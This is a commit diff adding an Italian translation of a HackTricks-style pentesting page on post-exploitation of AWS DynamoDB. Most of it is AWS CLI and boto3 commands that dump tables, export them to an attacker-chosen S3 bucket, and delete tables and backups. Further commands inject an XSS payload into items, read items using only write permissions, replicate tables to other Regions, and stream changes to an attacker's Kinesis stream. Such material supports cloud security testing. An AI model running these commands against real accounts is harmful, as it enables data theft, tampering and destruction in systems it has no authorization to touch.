Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-10-14 01:52:33 +00:00
parent 572d0114b4
commit 08a4831ca6
214 changed files with 9514 additions and 6154 deletions

View File

@@ -0,0 +1,537 @@
# AWS - DynamoDB Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## DynamoDB
Per maggiori informazioni consulta:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### `dynamodb:BatchGetItem`
Un attacker con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
```
{{#endtab }}
{{#tab name="inline" }}
```bash
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}
**Impatto potenziale:** privesc indiretta mediante individuazione di informazioni sensibili nella tabella
### `dynamodb:GetItem`
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere i valori da una sola tabella, data la chiave primaria della voce da recuperare:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
```
Con questa autorizzazione è anche possibile usare il metodo **`transact-get-items`** come:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
```
**Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella
### `dynamodb:Query`
**Simile alle precedenti autorizzazioni**, questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per ottenere l'intero database in una richiesta.
{{#tabs }}
{{#tab name="json file" }}
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
```
{{#endtab }}
{{#tab name="inline" }}
```bash
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}
**Potenziale impatto:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:Scan`
Puoi usare questo permesso per **dump l'intera tabella facilmente**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:PartiQLSelect`
Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Questa permission consente inoltre di eseguire `batch-execute-statement` come:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
ma è necessario specificare la primary key con un valore, quindi non è così utile.
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un S3 bucket** a sua scelta:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
```
Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato. Puoi verificare se la tabella lo ha con:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Se non è abilitato, dovrai **abilitarlo** e per questo hai bisogno della **`dynamodb:ExportTableToPointInTime`** permission:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Impatto potenziale:** privesc indiretto ottenuto localizzando informazioni sensibili nella tabella
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che n**on fossero più nella tabella di produzione**.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel backup della tabella
### `dynamodb:PutItem`
Questo permesso permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se esiste già un item con la stessa chiave primaria, l'**intero item verrà sostituito** con il nuovo item. Se la chiave primaria non esiste, verrà **creato** un nuovo item con la chiave primaria specificata.
{{#tabs }}
{{#tab name="XSS Example" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
```
{{#endtab }}
{{#tab name="AI Example" }}
```bash
aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilities/bypasses tramite la possibilità di aggiungere/modificare dati in una tabella DynamoDB
### `dynamodb:UpdateItem`
Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression.
{{#tabs }}
{{#tab name="XSS Example" }}
```bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
```
{{#endtab }}
{{#tab name="AI Example" }}
```bash
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
### `dynamodb:DeleteTable`
Un attacker con questa permission può **cancellare una tabella DynamoDB, causando perdita di dati**
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Impatto potenziale**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
### `dynamodb:DeleteBackup`
Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di scenario di ripristino dopo un disastro**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Impatto potenziale**: Perdita di dati e incapacità di ripristinare da un backup durante uno scenario di disaster recovery.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Testare se questo funziona effettivamente
Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streamare le modifiche, e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attacker di monitor and exfiltrate data changes, potentially leading to data leakage.
1. Abilitare uno stream su una tabella DynamoDB:
```bash
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Descrivi lo stream per ottenere l'ARN e altri dettagli:
```bash
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. Ottieni il shard iterator usando l'ARN dello stream:
```bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
```
4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
### Leggere item tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'intera immagine pre-aggiornamento dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs).
- Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target.
- Prerequisiti: Devi conoscere la chiave primaria dell'item.
Esempio (aggiunge un attributo innocuo e exfiltrates the previous item in the response):
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
```
La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso esclusivamente in scrittura.
**Impatto potenziale:** Leggere item arbitrari da una tabella con solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
```bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
```
{{#endtab }}
{{#tab name="PoC (customer-managed KMS)" }}
```bash
# Specify the CMK to use in the replica Region
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
--region <primary-region>
```
{{#endtab }}
{{#endtabs }}
Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se viene utilizzata una CMK nella replica, potrebbero essere necessari permessi KMS per quella chiave.
Impatto potenziale: Replica dell'intera tabella verso una Region controllata dall'attaccante che consente una stealthy data exfiltration.
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
Un attaccante con privilegi di scrittura transazionali può exfiltrate gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fallisce intenzionalmente una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in accesso in lettura alle chiavi mirate.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
```bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
```
{{#endtab }}
{{#tab name="PoC (boto3)" }}
```python
import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
c.transact_write_items(TransactItems=[{ 'Update': {
'TableName':'<TableName>',
'Key':{'<PKName>':{'S':'<PKValue>'}},
'UpdateExpression':'SET #m = :v',
'ExpressionAttributeNames':{'#m':'marker'},
'ExpressionAttributeValues':{':v':{'S':'x'}},
'ConditionExpression':'attribute_not_exists(<PKName>)',
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
print(e.response['CancellationReasons'][0]['Item'])
```
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
Potential Impact: Leggere elementi arbitrari (per chiave primaria) da una table usando solo privilegi di write transazionali tramite i returned cancellation reasons.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
Evitare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi `Query` l'index per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla base table è negato, purché sia possibile interrogare l'index ARN.
- Permessi minimi:
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Passaggi (PoC in us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Impatto potenziale:** Full table exfiltration interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
Abusando dei DynamoDB Kinesis streaming destinations per exfiltrate continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento `INSERT`/`MODIFY`/`REMOVE` viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
Permessi minimi (attaccante):
- `dynamodb:EnableKinesisStreamingDestination` sulla tabella target
- Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato
- Permessi di lettura sul Kinesis stream posseduto dall'attaccante per consumare i record: `kinesis:*`
<details>
<summary>PoC (us-east-1)</summary>
```bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
</details>
**Impatto potenziale:** Continuo, quasi in tempo reale exfiltration delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella.
{{#include ../../../../banners/hacktricks-training.md}}